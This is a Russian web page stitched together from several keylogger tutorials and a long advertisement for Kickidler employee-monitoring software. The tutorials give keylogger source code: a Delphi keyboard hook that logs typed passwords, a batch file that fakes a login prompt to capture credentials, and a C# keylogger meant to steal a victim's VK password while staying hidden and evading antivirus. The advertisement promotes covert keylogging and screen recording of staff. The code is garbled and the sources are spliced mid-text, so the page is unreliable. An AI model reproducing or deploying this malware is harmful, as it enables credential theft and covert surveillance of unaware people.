Клавиатурный шпион своими руками №4: то, что надо
while (1)
<
//Запускаем цикл.
hw=GetForegroundWindow();
GetWindowText(hw,st,128); // читаем
активное на данный момент окно.
char stt[128]=»_Здесь пишем заголвок нужного
нам окна_№1″;
sl=strlen(stt);
ll=0;
while (stt[ll]==st[ll])
//cравниваем
посимвольно строки
//это удобнее делать с той позиции, что будет
проверяться, вхордит ли нужная
//нам строка как часть в другую строку, можно
сделать подобие //широкого фильтра.
<
ll++;
>
if (ll==sl) <
halt; //прерываем процесс
>
//И так далее,
последовательно проверяются все окна из
списка. Если найдено
//хотя бы одно, дабы не рассматривать окна
далее, прерываем цикл.
>
Теперь нам нужно все время проверять,
остается ли данное окно активным.
char p2[128],p3[128]; //массивы
символов для заголвков окон.
Опять таки в циклe проверяем все окна:
HWND hwnd_child; //переменная
элемента окна
Далее следует процедура загрузки
библиотеки и описанный выше алгоритм
слежения за событием смены активного окна.
library key1;
uses Windows;
var
KHook: HHOOK; //переменная для
«ловушки»
function KProc(Code: integer; wParam: Word; lParam: LongInt): LongInt; stdcall;
const
KState: integer = 1073741824; //код
«клавиша нажата»
var
Simv: ShortString;
KL: array [0..8] of Char; //для
проверки раскладки клавы
FStruct: TOFSTRUCT;
F: TextFile; //переменная
файла для записи лога.
begin
// отсеиваем лишние
сообщения
if (lParam and KState) <> 0 then
begin
Result:=CallNextHookEx(KHook, code, wParam, lParam);
Exit;
end;
Simv:=chr(0); //обнуляем
переменную символа, читающегося с клавы.
// анализируем код
нажатой клавиши
case wParam of
// цифры
48..57: Simv:=Chr(wParam);
96: Simv:=’0′;
97: Simv:=’1′;
.
104: Simv:=’8′;
105: Simv:=’9′;
189,109: Simv:=’-‘;
110: Simv:=’.’;
111: Simv:=’/’;
end;
GetKeyboardLayoutName(KL); //
проверяем раскладку
if KL = ‘00000409’ then // если
латинская:
begin
case wParam of
219: Simv:='[‘;
221: Simv:=’]’;
186: Simv:=’;’;
222: Simv:='»‘;
188: Simv:=’,’;
190: Simv:=’.’;
191: Simv:=’/’;
65..90: Simv:=Chr(wParam);
end;
end;
end;
if KL = ‘00000419’ then // если
русская
begin
case wParam of
219: Simv:=’Х’;
221: Simv:=’Ъ’;
186: Simv:=’Ж’;
222: Simv:=’Э’;
188: Simv:=’Б’;
190: Simv:=’Ю’;
191: Simv:=’.’;
65: Simv:=’Ф’;
.
87: Simv:=’Ц’;
88: Simv:=’Ч’;
89: Simv:=’Н’;
90: Simv:=’Я’;
end;
//если символ не пустой(т.е.
если была нажата буквенно-цифровая клавиша)
//тогда пишем его в файл
if Simv<>» then
Write(F, Simv);
//закрываем файл
CloseFile(F);
// передаем сообщение
другим ловушкам в системе
Result:=CallNextHookEx(KHook, code, wParam, lParam);
end;
begin
//Установить ловушку
для перехвата сообщений о клавиатуры.
KHook:=SetWindowsHookEx(WH_KEYBOARD, @KProc, HInstance, 0);
hINSTAGE=LoadLibrary(«key1.dll»);
Sleep(10000);
//ждать 10 секунд, за это
время юзер наберет пароль.
//время может быть увеличено в зависимости
от степени заторможенности юзера
// и его скрости печатанья на клаве ?
FreeLibrary(hINSTAGE);
Как сделать простого клавиатурного шпиона [ keylogger ] в блокноте
В этом материале вы узнаете как создать простой клавиатурный перехватчик, используя стандартный блокнот, который может зарегистрировать каждое нажатие клавиши.
Хакеры используют клавиатурные перехватчики, чтобы украсть конфиденциальные данные.
Клавиатурный шпион – опасный инструмент взламывания, который может работать в фоновом режиме, не позволяя пользователю заметить свое присутствие.
Есть много программного обеспечения кейлоггеров доступное онлайн.
Не используйте его, если оно не с открытым исходным кодом.
Хакеры используют клавиатурные шпионы, чтобы украсть конфиденциальные данные, такие как имена пользователей, пароли, детали банковского счета и информация о кредитной карте.
Давайте посмотрим, как мы можем сделать собственный кейлоггер без дополнительного ПО и знаний программирования.
1. Перейдем в директорию диска ( C: ) и найдем папку Logs. Если она не существует содаем ее.
2. Открываем блокнот и вставляем в него следующее содержимое:
@echo off
color a
title Login
cls
echo Please Enter Your Email Address And Password
echo.
echo.
cd “C:Logs”
set /p user=Username:
set /p pass=Password:
echo Username=”%user%” Password=”%pass%” >> Log.txt
start >>Program Here
3. Переходим в меню и сохраняем файл. Назовем его Logs.bat и сохраним его в каталоге Logs на диске C:
4. Чтобы проверить его работу, запустим батник и введем куда либо пароль и логин.
5. Перейдем в папку Logs и найдем там файл log.txt.
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.
Как написать кейлоггер на C#
Хорошие кейлоггеры с большим функционалом и защитой от детекта антивирусов могут стоить многих денег. Но создание кейлоггера не такая уж сложная вещь, и при желании любой немного разбирающийся в программировании человек может самостоятельно написать свой собственный кейлоггер, который даже не будет палится антивирусами. В сегодняшней статье я покажу, как создать кейлоггер / клавиатурный шпион на C#.
Создание кейлоггера на C#
Не будем мудрить и ограничимся необходимым минимумом. Допустим, мы хотим заполучить пароль жертвы от ВК и есть возможность физического доступа к компьютеру. При этом:
Еще жертва может пользоваться парольным менеджером, тогда в логе мы получим только Ctrl-C и Ctrl-V. На этот случай будем мониторить еще и содержимое буфера обмена.
Писать будем на C# в Visual Studio. Забегая вперед, скажу, что в результате у меня получилось две версии программы — одна работает через перехват WinAPI, другую я про себя называю «костыльной». Но эта менее красивая версия дает другие результаты при проверке антивирусами, поэтому расскажу и о ней.
Теория создания клавиатурного шпиона на C#
Когда вы нажимаете на кнопку, операционная система посылает уведомления тем приложениям, которые хотят об этом узнать. Поэтому самый простой метод перехватить нажатие на клавиатуре — это принимать сообщения о нажатиях клавиш. Если мы этого сделать не можем (например, функция SetWindowsHookEx запрещена антивирусом или еще чем-либо), можно тянуть сырой ввод и без нее. Есть такая функция — GetAsyncKeyState, которая принимает номер клавиши и позволяет узнать, зажата она или отжата в момент вызова. Собственно, алгоритм действий будет такой: раз в N мс опрашиваем все кнопки и узнаем их состояние, занося нажатые в специальный список. Затем список обрабатываем, учитывая состояние клавиши Caps Lock, Num Lock, Shift, Ctrl и так далее. Полученные данные будут записываться в файл.
Написание кейлоггера на C#
Для начала откроем Visual Studio и создадим новый проект Windows Forms (.NET Framework). Почему именно Windows Forms? Если мы выберем обычное консольное приложение, то при каждом запуске будет создаваться некрасивое черное окошко, а ведь пользователь не хочется беспокоить. Также, пока мы не создали форму (а создавать ее мы и не будем), никаких значков в таскбаре не появится — важная часть скрытой работы. Теперь удаляйте автоматически созданный файл Form1.cs со всеми потрохами и открывайте Program.cs.
Здесь нас уже поджидает шаблон программы, но он не будет работать просто так. Первым делом надо убрать строчки 10–12 и 16–18. Теперь меняем объявление метода со static void Main() на static void Main(String[] args). Нужно это для того, чтобы мы могли определить свои аргументы при перезапуске.
Теперь добавим using System.IO; для работы с файлами, System.Runtime.InteropServices для работы с WinAPI и System.Threading для приостановки потока. Если вы не хотите писать костыльный вариант, лучше пропустите этот раздел и сразу переходите к следующему.
Импортируем GetAsyncKeyState из user32.dll:
Кейлоггер? Это просто!
В этой статье рассматриваются некоторые функции Win32 API, приемы и методы программирования под Windows достаточные для написания простого клавиатурного шпиона. Статья написана опираясь на материалы и вопросы форума uinc.ru по этой теме.
Введение
Методы
Ввод обычных символов с клавиатуры в Windows (как правило) отражается посылкой сообщений WM_KEYDOWN, WM_KEYUP окну в которое осуществляется ввод. Эти сообщения передают virtual-key коды нажатых клавиш. С ними не удобно работать поскольку нам самим придется преобразовывать их в вводимые символы, учитывая текущую кодировку, регистр и тд. В Win API этим занимается функция TranslateMessage(). Она транслирует эти сообщения с virtual-key кодами в символьные (WM_CHAR) и снова посылает их окну.
С помощью функции SetWindowHookEx мы установим ловушку (хук) для фильтрации посылаемых сообщений в Windows. Нас интересует сообщение WM_CHAR. Для этого вызовем ее с параметром WH_GETMESSAGE. С помощью SetWindowHookEx мы установим callback функцию, которая будет вызываться всякий раз когда сообщение будет попадать в очередь. А точнее всякий раз когда функци GetMessage или PeekMessage вынимают сообщение из очереди. Прежде чем «отдать» сообщение приложению, система передает это сообщение нашей хук-функции. С помощью хуков можно отслеживать события происходящие как в отдельном потоке, так и во всех потоках в системе. Мы поставим глобальный хук. Для глобальных хуков callback функция должна находиться в Dll. Callback функция вызывается из разных процессов, а dll, соответственно, подгружается во все эти процессы.
Листинг MyHookDll.h
Листинг MyHookDll.cpp
Все. Можно компилировать.
Основное приложение
Оно очень простое. И состоит из одного файла
Заключение
Даже такой простой кейлоггер может многое. Будучи запущен с правами простого пользователя (не администратора) он может перехватывать ввод информации в практически любое окно Windows. Теперь вам доступно логгирование информации вводимой в окна броузеров, диалогов настройки и регистрации, оффисные приложения и окошко «Run as. «. 🙂
Однако, ввод в некоторые окна наша программа не перехватывает.
Во-вторых, консольные окна Win9X. Там ввод с клавиатуры в консольное окно вообще не отражается посылкой сообщений.
Но решение этих задач выходит за рамки данной статьи.
Keywords: кейлоггер, как написать кейлоггер, клавиатурный шпион, как написать клавиатурный шпион, слежка
Все документы и программы на этом сайте собраны ТОЛЬКО для образовательных целей, мы не отвечаем ни за какие последствия, которые имели место как следствие использования этих материалов\программ. Вы используете все вышеперечисленное на свой страх и риск.
Любые материалы с этого сайта не могут быть скопированы без разрешения автора или администрации.
Программы для отслеживания компьютеров сотрудников: что это такое и зачем это нужно?
Зачем нужен контроль сотрудников на рабочем месте?
Первое подобие программы для слежения за сотрудниками появилось аж в 1888 году. Прогресс не стоит на месте и сегодня, по статистике, каждая третья фирма контролирует деятельность персонала за рабочими ПК – от просмотра е-мейлов и установки тайм трекеров до тотального прочесывания трафика.
И дело здесь не в паранойе. У работодателя есть реальные причины следить за своими тружениками.
На сегодняшний день 89% мировых компаний сталкивались со сливом инсайдерской инфы и для 61% из них это привело к серьезным убыткам.
А если ваша секретарша вместо того, чтобы отвечать на звонки, списывается с подружкой в ВК или менеджер играет в MMORPG вместо работы с заказчиками, то такой работник приносит в среднем от 10 тысяч рублей убытков компании в месяц.
Есть и другие аспекты. Зачастую в коллективе можно обнаружить «деструктивный элемент», который нагнетает атмосферу и планомерно подтачивает доверие к руководству. Результат – общее падение производительности, которого вполне можно избежать, если вовремя выявить проблему и устранить (как – уже другой вопрос).
С учетом перманентно растущего уровня конкуренции во всех сферах руководству действительно не до сантиментов. Необходимо оптимизировать каждый атом рабочего процесса, чтобы достичь лидерских позиций. К тому же, в подавляющем большинстве случаев речь идет о слежке не за всем коллективом, а лишь за «лицами, утратившими доверие». Иначе будет как со сливом информации из системы управления Tesla.
Пандемия Covid-19 заставила по-другому взглянуть на программы контроля сотрудников, поскольку большая часть офисных работников была переведена на удаленную работу Учет рабочего времени удаленных сотрудников стал настоящей проблемой для руководства компаний, решить которую помогли программы для мониторинга удаленных сотрудников.
Программа слежения за сотрудниками Kickidler
Имеет ли право работодатель следить за подчиненными?
Все мы хорошо знаем, что законодательство гарантирует неприкосновенность частной жизни. То есть, по идее, никто не вправе читать наши переписки. Но если мы пользуемся ими во время исполнения должностных обязанностей – возникает совсем другая ситуация.
Дело в том, что технически работодатель арендует наше личное время, и оно становится рабочим, а статус личного теряет. Следовательно, соответствующая конституционная статья на него уже не распространяется. Более того – корпоративный трафик не принадлежит сотруднику, и тут не важно – обычными мессенджерами он пользуется или корпоративными – всё, что через них проходит на рабочем месте, автоматически принадлежит компании.
Поэтому у контроля рабочего времени сотрудников на рабочем компьютере с буквой закона всё чинно. Что же касается морально-этической стороны вопроса, то мы, например, четко позиционируем себя – наше ПО предназначено для коммерческих нужд компаний и увеличения прибыли, а не для вуайеристов и прочих извратов.
Безусловно, грань тут довольно тонкая, но реальное вмешательство в частную жизнь (например – слежка за фрилансером в нерабочее время) – это уже уголовная ответственность и серьезные проблемы. Однако если спад производительности на лицо – с этим нужно что-то делать. Благо – решения по удаленному наблюдению за компьютером всегда представлены в широком ассортименте.
Отметим, что здесь главное – не доводить до фанатизма, ведь излишняя слежка приводит к повышению уровня стресса сотрудников и может даже мотивировать к смене места работы. Кроме того, творчество невозможно контролировать тайм-трекерами, а мониторить мыслительные процессы мы еще не научились.
Не стоит также воспринимать программы наблюдения в компании, как абсолютное зло для сотрудников. В нашей практике встречалось множество ситуаций, когда наша программа контроля персонала приходила на помощь самим специалистам, за которыми велось наблюдение.
К примеру, отчет по эффективности служил поводом к поощрению самых продуктивных работников. Запись видео с экрана в онлайн-режиме помогала и точно выявить инсайдера и снять подозрения с честных тружеников. Она же была полезна для налаживания эффективного взаимодействия между отделами. А если кто-то забывал пароль от важного сервиса – на помощь приходила функция кейлогера.
Какими бывают методы слежки за сотрудниками?
ПО для удаленного доступа
На заре рынка программ контроля ПО вроде TeamViewer использовалось работодателями для доступа к компьютерам своих работников, в том числе – на аутсорсе. Такие проги не заточены под слежку, тем не менее, основные функции они выполнить способны.
К примеру, тот же Тимвьюер предоставляет возможность онлайн просмотра рабочего стола сотрудников, соединяя два и более ПК, находящиеся на любом удалении друг от друга.
Еще одна подобная программа – Radmin. Функционал практически такой же, изначально прога разрабатывалась для удаленной технической поддержки. Еще есть Ammyy Admin, Supremo Remote Desktop, mRemoteNG, TightVNC, Remote Utilities.
Нюанс здесь только один – все эти программы не функционируют в скрытом режиме, и наемный специалист гарантированно знает, что нетленное око Саурона… простите, руководства, всегда рядом. То есть это НЕ скрытое наблюдение за удаленным компьютером.
Начните использовать Kickidler прямо сейчас!
Бесплатное тестирование до 14 дней
Шпионские программы для скрытого слежения за компьютером
А теперь перейдем к скрытым методам слежки, ведь когда сотрудник не знает, что за ним наблюдают, он ведет себя естественно, совершая те действия, которые привык совершать. Именно поэтому программы-шпионы, имеющие скрытый режим, эффективнее.
Самые примитивные шпионские программы скрытого слежения за компьютерами сотрудников – это кейлогеры, по нашей информации, их до сих пор используют олдскульные сисадмины в небольших компаниях. Тут нет прямого контроля или мониторинга за ПК наемных тружеников, но есть кое-что не менее эффективное.
Кейлогеры (в народе – клавиатурные шпионы) – шпионские программы, фиксирующие все нажатия клавиш на компьютере. Данные о том, что сотрудник набирал в течение рабочего дня на клавиатуре, складируются в специальный log-файл, доступный наблюдающему. Такую программу для слежки за компьютером сисадмин может поместить в скрытые процессы, либо замаскировать под системную задачу. Среди топовых кейлогеров можно отметить ArdamaxKeylogger, Actual Spy, Spyrix Personal Monitor, SpytechSpyAgent, Refog Personal Monitor, All In One Keylogger, Elite Keylogger, Spytector.
Программы-шпионы для компьютера – это уже инструмент для настоящего Шерлока. С помощью шпионских программ, в зависимости от модификации, можно не только перехватывать клавиатурный ввод пользователя и смотреть слайд-шоу с экрана, но и, например, получать отчет о посещаемых сайтах, перехватывать содержимое буфера обмена, e-mail, а также файлы, отправленные на печать или на флешку. Примеры популярных шпионских программ для ПК – NeoSpy, Real Spy Monitor, Spy Go.
Область применения шпионских программ программ довольно обширна: помимо контроля и наблюдения за сотрудниками на рабочем месте, их используют и в частных целях – для слежки за неверными супругами, родительского контроля детей за компьютером и т.д. Обратите внимание, что эти программы и их элементы часто используются хакерами и интернет-мошенниками с целью похищения паролей и прочих персональных сведений.
Главный минус всех вышеперечисленных программ в том, что они не поддерживают многопользовательский режим и поэтому не подходят средним и крупным компаниям.
Системы контроля и учета рабочего времени сотрудников за компьютером
Это уже не просто программы для удаленного слежения за компьютерами. Речь идет о тотальном наблюдении за рабочим ПК вашего менеджера, дизайнера, секретаря, да хоть админа службы информационной безопасности. Возможности таких решений действительно многообразны и лучше разобрать их на конкретном примере.
Итак, Kickidler – наша собственная разработка, созданная на основании многолетнего опыта зарубежных коллег и по ряду функций не имеющая аналогов в мире. Программа осуществляет комплексный контроль рабочего времени сотрудников, включая удаленных фрилансеров. Работает с Windows, Mac и Linux, может функционировать в открытом или скрытом режимах.
Принцип работы Kickidler прост – на главный компьютер устанавливается программа Сервер, на компьютеры руководителей (тех, кто будет осуществлять наблюдение) – программу Вьюер, на компьютеры сотрудников (за кем будет вестись слежка) – программу Граббер. Грабберов, Вьюеров и даже Серверов может быть столько, сколько необходимо. По желанию клиент может поместить Сервер на собственном облаке.
Граббер может работать, как в открытом, так и в скрытом режимах, при необходимости его можно сделать полностью невидимым для пользователя.
Возможностей у Kickidler немало, остановимся на ключевых.
Функция Кейлоггера
При помощи функции Keylogger Кикидлер фиксирует все действия сотрудника с клавиатурой (запоминает нажатия клавиш), а результаты мониторинга отображает в специальной вкладке Вьюера. В формируемых кейлогером log-файлах доступен поиск по заданному слову.
Скриншот: окно Кейлоггера во Вьюере
Запись видео с мониторов сотрудников (запись действий сотрудников за компьютером на видео)
Что касается функции видеологера, то Kickidler не делает скриншоты, как многие подобные программы, а записывает полноценное высококачественное видео с экранов сотрудников с частотой до 30 кадров в секунду. Панель просмотра видео позволяет также видеть, какие клавиши нажимал сотрудник в данный отрезок времени и какие приложения были запущены на его компьютере. Запись видео ведется даже в офлайн-режиме, когда компьютер сотрудника отключен от Интернета.
Посмотреть видео через Вьюер можно как в обычном, так и в ускоренном режиме. Можно сделать выборку по использованию конкретного приложения или посещению заданного сайта. Эта фича не имеет аналогов не только у наших отечественных, но и у зарубежных коллег. Благодаря сжатию, файлы с видео не занимают много места; можно хранить архивы за многие месяцы и даже годы (хотя, по умолчанию они хранятся 7 дней, как показывает практика, этого вполне достаточно).
Онлайн-мониторинг и контроль сотрудников (мониторинг компьютера в реальном времени)
Благодаря этой функциональной группе можно узнать, что конкретно делает наемный специалист в настоящий момент времени – какие приложения он запускает и какие сайты просматривает. Трансляция с мониторов сотрудников, на чьих компьютерах установлена программа Граббер, ведется в реальном времени и показывается с помощью программы Вьюер на компьютере руководителя или топ-менеджера.
Просмотр лайв-трансляций происходит в удобном интерфейсе под названием Квадратор. Квадратор позволяет вывести на монитор наблюдателя неограниченное количество экранов наблюдаемых компьютеров, но для удобства мы рекомендуем разделить их на небольшие группы (например, по принадлежности к структурным подразделениям) и переключать между собой. Вариант – установить несколько мониторов, чтобы одновременно наблюдать за всем отделом.
Скриншот: интерфейс Квадратор
По необходимости можно кликнуть на нужное окно и развернуть его на полный экран, чтобы внимательнее изучить действия конкретного сотрудника.
Увидеть, как работает Квадратор вживую, можно, посмотрев это видео.
Анализ эффективности использования рабочего времени
Набор функционала для учета рабочего времени и тайм-трекинга позволяет фиксировать все действия сотрудника за компьютером – во сколько он пришел на работу, во сколько отошел на обед, сколько отсутствовал, когда и что делал за рабочим ПК, сортируя их на продуктивные, непродуктивные, нейтральные и «без оценки» (те, для которых оценка еще не выставлена).
Если предыдущий функционал подходит интуитам, то подобный анализ – скорей для сенсориков, тех, кто уважает структурированную информацию, позволяющую получить полное представление об эффективности конкретного сотрудника или целого отдела.
Кстати, чтобы посмотреть отчет об эффективности сотрудников, необязательно даже запускать программу Вьюер, достаточно просто зайти в веб-интерфейс Kickidler.
Скриншот: диаграммы отчета об эффективности в веб-интерфейсе Kickidler
Отчеты по рабочему времени формируются в виде круговых и линейных диаграмм, на которых разными цветами отмечаются продуктивные, непродуктивные и нейтральные действия специалистов. Высота каждой полоски в линейной гистограмме обозначает интенсивность действий сотрудника в данный отрезок времени (одна полоска = 5 минутам), пробелы обозначают время, когда на компьютере не фиксировались никакие действия. Круговая диаграмма позволяет посмотреть, сколько в процентном соотношении сотрудник сёрфил соцсети, а сколько был занят продуктивной деятельностью.
Аналогичным способом помечаются непродуктивные ресурсы. Например, если ваш подчиненный полдня зависал во Вконтакте, то это зафиксируется, как непродуктивное действие. Конечно, если он не СММщик. Если программист по какой-либо причине использовал Ворд, то это тоже зафиксируется, как непродуктивное действие. Зачем программисту Ворд? Как «Нейтральные» помечаются те приложения и сайты, которые могут использоваться как в полезных, так и бесполезных целях. Например, поисковики Google и Яндекс.
Все действия сотрудников без пометки «Продуктивное», «Непродуктивное» или «Нейтральное» заносятся в список «Без оценки».
Автокик – инструменты контроля удаленных сотрудников
Новые функции программы Kickidler, выпущенные в 2020 году, сделали ее более автономной и удобной для мониторинга удаленных сотрудников.
Автоматические уведомления – уведомят сотрудника о том, что он занят непродуктивной деятельностью, либо наоборот долго работает без перерыва.
Интерфейс самоконтроля – позволит сотрудникам видеть инфографику по собственной продуктивности, что послужит хорошим стимулом улучшить свои показатели.
Кнопка включения-отключения Граббера – даст возможность сотруднику самостоятельно управлять мониторингом. Это необходимо, например, для удаленных сотрудников, работающих с домашних ПК. Когда мониторинг выключен, статистика с компьютера не собирается.
Отчет по уведомлениям — позволит определить, кто из сотрудников чаще других нарушает рабочий распорядок.
Удаленное управление компьютерами (дистанционное управление компьютером с другого компьютера)
Функция удаленного доступа к компьютерам сотрудников позволяет решить все стандартные задачи удаленного администрирования. Такие как поддержка и обслуживание удаленных компьютеров, удаленное управление рабочим столом и т.д. Например, при помощи этой функции программы Kickidler, администратор может подключиться к рабочему столу удаленного сотрудника и установить приложения, необходимые ему для работы. Также эта функция может быть полезна для удаленного обучения, к примеру, для обучения работе в программе сотрудника удаленного офиса.
Скриншот: подключение к удаленному рабочему столу с помощью Kickidler
Как система учёта рабочего времени измеряет продуктивность сотрудников?
Существует 2 типа систем учёта рабочего времени по этому параметру.
Первый тип ориентирован на контроле выполнения задач сотрудника. Работник сам отмечает в системе, над какой задачей он сейчас работает, а система фиксирует время работы над задачей и какие сайты и программы он использовал в процессе. Пример подобной программы Time Doctor. Плюсы подобных систем в том, что они позволяют определить, сколько времени сотрудник работал над конкретной задачей. Минусы – их легко обмануть.
Второй тип программ менее доверчив к сотрудникам и основан на методе Zero Trust, он фиксирует конкретные действия сотрудников, такие как движения и клики мышью, нажатия клавиатуры. В зависимости от того, в какой программе или на каком сайте совершено действие, программа присваивает ему значение: продуктивное, непродуктивное или нейтральное. Если сотрудник не совершает действий определённый отрезок времени, то начинает отсчитываться бездействие. Пример такой программы – Kickidler. Наш метод основан на том, что бездействие начинает отсчитываться уже после 1 секунды простоя. Почему это наиболее эффективный метод и как Kickidler считает продуктивность сотрудников, можете почитать в нашей обучающей статье.
Внедрение системы учёта рабочего времени
Внедрение СУРВ – процесс довольно трудоёмкий, как с технической стороны, так и со стороны менеджмента. Не всегда сотрудники рады такому новшеству, и чтобы сгладить острые углы, нужно грамотно подойти к вопросу, рассказать сотрудникам о плюсах такого формата работы и обеспечить полную прозрачность контроля. Программа Kickidler используется более чем 3000 компаний во всем мире, и мы продаём не только ПО, но и опыт его внедрения и использования. Почитать о том, как правильно внедрить систему учёта рабочего времени, можно в нашем обучающем материале.
Задачи, которые решает Kickidler:
Мы позиционируем себя, как b2b-продукт, однако это не означает, что наша система мониторинга не может быть полезна для частных целей. Например, для родительского контроля домашнего компьютера, удаленного доступа к рабочему столу, для наблюдения за частными компьютерами при условии, что тот, за кем наблюдают, об этом осведомлен. Также нашу программу используют для контроля компьютерных классов.
Список программ для контроля и мониторинга сотрудников за компьютером
Безусловно, мы в своем роде – не единственные. Например, есть программа контроля рабочего времени персонала CrocoTime, который также умеет вести учет рабочего времени сотрудников и фиксировать любые отклонения от заданного алгоритма.
Также стоит упомянуть StaffCop, это многоцелевая программа для контроля сотрудников, обеспечивающая высокий уровень информационной безопасности. Предоставляет функции удаленного администрирования, фиксирует простои, анализирует эффективность использования рабочего времени.
Yaware.TimeTracker – украинская система организации учета рабочего времени, которая поможет вам оплачивать сотруднику только то время, которое он действительно потратил на работу.
«Стахановец» во многом аналогичен нашему Kickidler, имеет функции GPS-отслеживания. Есть возможность тонкой настройки, чтобы подбирать параметры безопасности отдельно для каждого сотрудника в соответствии с его рабочим графиком и спецификой должностных обязанностей.
Другие программы с похожими функциями – Disciplina, Lanagent Enterprise, Mipko Employee Monitor, NeoSpy. Среди англоязычных программ, популярных на Западе, можно выделить Teramind, HubStaff, ActivTrack, Time Doctor, Toggl, Skype Time, Activity Monitor.
Для сравнения функционала данных программ мониторинга, рекомендуем посмотреть рейтинг.
DLP-системы для защиты корпоративных данных
Шпионские программы безусловно выполняют много полезных функций, но они не имеют возможности глубокого анализа трафика на предмет информационных утечек. Здесь на сцену выходят DLP-системы.
Сегодня ключевыми разработчиками DLP-систем выступают SymantecCorp., VerdasysInc и WebsenseInc. В России хорошо известны InfoWatch от «Лаборатории Касперского», Falcongaze со своим детищем «SecureTower», а также «МФИ Софт» и Trafica. Клиентская база этих компания состоит из крупных банков, госучреждений, промышленных и энергетических предприятий. К примеру, тем же SecureTower пользуется Газпромбанк.
DLP-системы анализируют данные двумя методами – формальным и контентным. К первому относится распознавание особых меток, грифов на документах и хэш-функций. Анализ контента мониторит всю внутреннюю и внешнюю пересылку, пропуская информацию по целому ряду фильтров. Комбинация этих методов дает высокую степень информационной безопасности, но 100% гарантии все же не даст. Мы рекомендуем клиентам использовать DLP в комплексе с системами мониторинга сотрудников.
GPS-браслеты и системы слежения
Цель таких систем – отслеживать перемещения персонала внутри рабочей зоны по GPS. Это позволяет предотвратить несанкционированное проникновение в локацию, если сотрудник не имеет надлежащего допуска.
GPS-маячки устанавливаются на служебные автомобили, что позволяет наблюдать за перемещениями транспорта. Это хорошая защита от простоев, халатностей и должностных нарушений. Так водителю Вите обязательно придется отчитаться перед руководством, если, находясь в командировке, он на служебном авто совершил экскурсию по местным увеселительным заведениям.
GPS-браслеты на территории РФ производит «Аргус-Спектр», нижегородская инновационная компания «Эффективные решения» и ряд других IT-предприятий. По сути, всё это аналоги культовых GPS-браслетов для детей KidSmartWatch, которые создавались, чтобы родители могли отслеживать перемещения своих ненаглядных чад. Сведения с таких браслетов могут поступать на центральный сервер, на ПК руководителя или на персональный смартфон.
Часто навигационные решения комбинируют с биометрическими сканерами или картами доступа, но это уже совсем другой уровень защиты, применяемый, в частности, на военных базах, атомных станциях и прочих объектах стратегического значения. На корпоративных объектах со статусом «попроще» используют систему Boss Control и аналогичные ей. Их функционал заключается в сканировании отпечатков пальцев сотрудников для фиксации прихода/ухода с работы. Конкретно Босс-контроль выделяется тем, что центр обработки данных находится в облаке.
Контроль сотрудников = эффективная производительность
Контролировать сотрудников можно по-разному и программ для отслеживания компьютеров множество. Закон дает такую возможность работодателям. Что выбрать для этих целей: бесплатную программу-шпион или мощную DLP-систему, решать самому владельцу бизнеса.
Мы рекомендуем попробовать Kickidler, скачав бесплатную версию, которая позволит в течение 14 дней протестировать все доступные функции, чтобы не покупать кота в мешке.